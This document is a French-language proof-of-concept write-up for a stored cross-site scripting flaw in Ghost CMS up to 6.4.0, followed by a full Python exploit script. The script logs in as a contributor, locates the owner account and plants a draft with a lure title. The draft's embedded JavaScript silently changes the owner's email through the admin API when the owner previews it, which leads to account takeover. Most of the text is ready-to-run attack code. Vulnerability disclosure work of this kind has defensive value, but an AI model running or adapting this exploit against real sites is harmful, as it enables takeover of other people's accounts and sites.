
Ghost CMS Élévation de privilèges PoC
Preuve de concept d'escalade de privilèges Ghost CMS
Dans Ghost Foundation Ghost CMS jusqu'à la version 6.4.0, le bloc HTML dans l'éditeur de brouillon d'article ne nettoie ni n'encode correctement le contenu fourni par l'utilisateur, ce qui entraîne une vulnérabilité de cross-site scripting (XSS) stocké. Un utilisateur disposant des privilèges de contributeur peut injecter du JavaScript arbitraire dans un brouillon, qui s'exécute lorsqu'il est consulté par le compte propriétaire. Cela permet à l'attaquant d'effectuer des actions privilégiées dans le contexte du propriétaire.
Pour démontrer la vulnérabilité, il est nécessaire de configurer une instance locale de Ghost CMS avec deux comptes :
Compte propriétaire - créé automatiquement lors de l'installation de Ghost.
Compte contributeur - créé par le propriétaire en invitant un nouvel utilisateur. Ghost envoie un lien magique à l'adresse e-mail du contributeur pour finaliser la configuration du compte.
Comme cela est effectué localement, un outil de capture d'e-mails tel que MailHog doit être installé (par exemple via Docker). Cela permet d'intercepter localement le lien magique envoyé par Ghost, afin que le contributeur puisse activer lui-même son compte.
Une fois les deux comptes actifs, le script d'exploitation (contributor.py) peut être utilisé. Le script nécessite les identifiants de connexion du contributeur ainsi que la nouvelle adresse e-mail qui sera attribuée au compte propriétaire après une exploitation réussie.
Les paramètres du script sont :
-u / --username Nom d'utilisateur du contributeur (e-mail)
-p / --password Mot de passe du contributeur
-e / --new-email Nouvelle adresse e-mail à définir sur le compte propriétaire
--url URL de l'instance Ghost (optionnel)
Pour exécuter le script dans le terminal, utilisez :
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
Lors de l'exécution, le script crée automatiquement un nouveau brouillon d'article contenant la charge utile JavaScript malveillante dans le bloc HTML vulnérable.
Pour déclencher le XSS stocké, le propriétaire doit simplement prévisualiser le brouillon en l'ouvrant dans le panneau d'administration Ghost et en cliquant sur « Aperçu ». Le script injecté s'exécute en arrière-plan avec les privilèges du propriétaire, et le propriétaire n'est pas averti que son adresse e-mail a été modifiée.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")
# HTML content with placeholders
article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""
# Replace placeholders with actual owner data
html_content_with_id = article_content.replace("<id>", owner_id)
html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
html_content_with_id = html_content_with_id.replace("<name>", owner_name)
html_content_with_id = html_content_with_id.replace("<email>", new_email)
print(f"\n HTML content prepared (with Owner data injected)")
print(f" Target email change: {self.owner_user.get('email')} → {new_email}")
# Create Lexical content
lexical_content = self.create_lexical_with_html(html_content_with_id)
# Prepare post data with Lexical
post_data = {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [author_id],
}]
}
if excerpt:
post_data['posts'][0]['excerpt'] = excerpt
if tags:
post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]
# Try multiple API approaches
attempts = [
{'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
{'url': f"{self.api_url}/posts/", 'data': post_data},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [{'id': author_id}],
}]
}
},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
}]
}
},
]
for i, attempt in enumerate(attempts, 1):
try:
print(f"\n Attempt {i}: {attempt['url']}")
response = self.session.post(attempt['url'], json=attempt['data'])
if response.status_code == 201:
post = response.json()['posts'][0]
print(f"\n✓✓✓ Post created successfully!")
print(f" Title: {post['title']}")
print(f" Post ID: {post['id']}")
print(f" Status: {post['status']}")
if 'authors' in post and post['authors']:
print(f" Author: {post['authors'][0].get('name', 'Unknown')}")
print(f" Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
print(f"\n ⚠️ Post contains script targeting Owner: {owner_name} ({owner_slug})")
print(f" ⚠️ Email change: {self.owner_user.get('email')} → {new_email}")
return response.json()
else:
print(f" ✗ Status {response.status_code}")
print(f" Response: {response.text}")
except Exception as e:
print(f" ✗ Exception: {str(e)}")
print(f"\n✗ All attempts to create post failed.")
return None
def logout(self):
"""Logout from Ghost session"""
if self.authenticated:
try:
logout_url = f"{self.api_url}/session/"
self.session.delete(logout_url)
print("\n✓ Logged out successfully")
except:
pass
self.session.close()
def main():
parser = argparse.ArgumentParser(
description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
)
parser.add_argument('-u', '--username', required=True,
help='Ghost username (email)')
parser.add_argument('-p', '--password', required=True,
help='Ghost password')
parser.add_argument('-e', '--new-email', required=True,
help='New email to set for owner account')
parser.add_argument('--url', default='http://localhost:2368',
help='Ghost instance URL')
args = parser.parse_args()
# Article details
article_title = "Review Required: Important Update"
article_tags = ["review"]
article_excerpt = "Please review this update at your earliest convenience"
# Initialize Ghost client
ghost = GhostCMSSession(ghost_url=args.url)
# Login
if not ghost.login(args.username, args.password):
return
# Create post with malicious content
if ghost.current_user and ghost.owner_user:
ghost.create_post_for_review(
title=article_title,
new_email=args.new_email,
tags=article_tags,
excerpt=article_excerpt
)
# Logout
ghost.logout()
if __name__ == "__main__":
main()